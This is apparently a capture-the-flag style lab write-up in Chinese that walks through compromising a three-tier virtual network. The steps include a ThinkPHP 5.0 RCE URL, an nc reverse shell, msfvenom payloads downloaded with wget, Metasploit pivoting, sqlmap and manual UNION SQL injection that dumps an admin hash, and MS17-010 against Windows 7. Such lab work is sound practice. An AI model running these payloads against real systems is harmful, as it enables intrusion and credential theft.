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CFS三层靶机渗透
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CFS三层靶机渗透
环境搭建
设置3个VMnet网卡
VMnet8设置为出网IP
VMnet8：子网IP：192.168.42.0 子网掩码：255.255.255.0
设置了VMnet1（VMnet2仅主机模式），（仅主机模式），这两个个网络是不出外网的，也就是当做我们的内网主机！其中这些的子网地址分别是：
VMnet1: 子网IP：192.168.22.0 子网掩码：255.255.255.0 VMnet2：子网IP：192.168.33.0 子网掩码：255.255.255.0
网络拓扑图
在宝塔面板设置好，关于的ip解析网站
对Target1_CentOS 7信息搜集
root@kepler:~/桌面# nmap -T4 -A 192.168.42.3 --script=vuln Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 17:24 CST Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Stats: 0:08:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.67% done; ETC: 17:33 (0:00:02 remaining) Stats: 0:08:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.67% done; ETC: 17:33 (0:00:02 remaining) Nmap scan report for 192.168.42.3 Host is up (0.00066s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Pure-FTPd |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_sslv2-drown: 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | vulners: | cpe:/a:openbsd:openssh:7.4: | CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919 |_ CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906 80/tcp open http nginx |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /robots.txt: Robots file |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 111/tcp open rpcbind 2-4 (RPC #100000) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind |_ 100000 3,4 111/udp6 rpcbind 888/tcp open http nginx |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 3306/tcp open mysql MySQL (unauthorized) |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug) 8888/tcp open http Ajenti http control panel |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /robots.txt: Robots file |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. MAC Address: 00:0C:29:78:B2:1B (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.66 ms 192.168.42.3 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 564.68 seconds
先从80端口开始
发现它是ThinkPHP 框架，版本是 V5.0
想到了ThinkPHP-V5.0-RCE突破
根据POC进行命令执行
http://192.168.42.3/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
直接反弹shell
本地监听nc -lvp 6666 nc 192.168.42.4 6666 -e /bin/bash
之后使用
python -c 'import pty;pty.spawn("/bin/bash")'
获取交互shell
获取交互shell
经过测试目标机器，可以使用wget，利用msf生成elf马。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.42.4 LPORT=1111 -f elf >shell.elf在本机创造临时服务
python -m SimpleHTTPServer 8080 在肉鸡上执行下载eif
wget http://192.168.42.4:8080/shell.elf chmod +x shell.elf
在kali机创造监听
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > set LHOST 192.168.42.4 LHOST => 192.168.42.4 msf5 exploit(multi/handler) > set LPORT 1111 LPORT => 1111 msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.42.4:1111
在肉鸡上运行elf
使用 MSF 中的这个命令获取当前的网段：
run get_local_subnets添加路由
run autoroute -s 192.168.22.0/24
检查路由规则
route之后background
使用
auxiliary/scanner/portscan/tcp
对192.168.22.0/24段进行扫描
发现第二层靶机机器
使用代理
auxiliary/server/socks4a
添加成功，之后在/etc/proxychains.conf配置代理
对第二层内网进行扫描
proxychains nmap -Pn -sT 192.168.22.2
因为socket代理不支持arp，icmp这种协议，所以用tcp扫描 
之前已经扫描到有80端口
所以先查看80端口服务
使用dirb扫描目录
proxychains dirb http://192.168.22.2 顺便习惯性的查看robots.txt
发现后台
通过查看源代码看到提示
之后使用proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1"测试注入点 发现是mysql数据库
proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword --dbs查看数据库
proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms --tables 
proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin --columns 
proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump 
拿到账号密码
之前环境有问题于是手工注入
判断字段 http://192.168.22.2/index.php?r=vul&keyword=1' order by 39 --+ 查库名 http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(schema_name) from information_schema.schemata --+ 库名 bagecms 查表名 http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name) from information_schema.tables where table_schema='bagecms' --+ 表 age_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload 查字段名 http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 group_concat(column_name) from information_schema.columns where table_name='bage_admin' --+ 字段 id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time 查值 http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(id,username,password) from bage_admin --+ 值 admin 46f94c8de14fb36680850768ff1b7f2a
之后到网站上md5解密
登录上网站后之后找可getshell的地方
看到模版地方，
之后proxychains ./AntSword
打开蚁剑
连接后，使用msf生成elf，由于目标机器位于第二层内网当中
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=1234 -f elf > shell1234.elf 使用proxychains msfconsole 不然无法连接到
监听也使用bind_tcp正向连接
之后使用蚁剑上传shell1234.elf
chmod +x shell1234.elf
./shell1234.elf 
成功上线
添加路由
run autoroute -s 192.168.33.0/24
之后对内网进行扫描
auxiliary/scanner/smb/smb_version
在第三层内网下
发现Windows7机器
尝试ms17-010扫描一下试试
use auxiliary/scanner/smb/smb_ms17_010
使用
use exploit/windows/smb/ms17_010_psexec
使用payload正向，这样可以顺利和shell建立连接
set payload windows/x64/meterpreter/bind_tcp 
成功打到第三层内网
本文为 独立观点，未经允许不得转载，授权请联系FreeBuf客服小蜜蜂，微信：freebee2022
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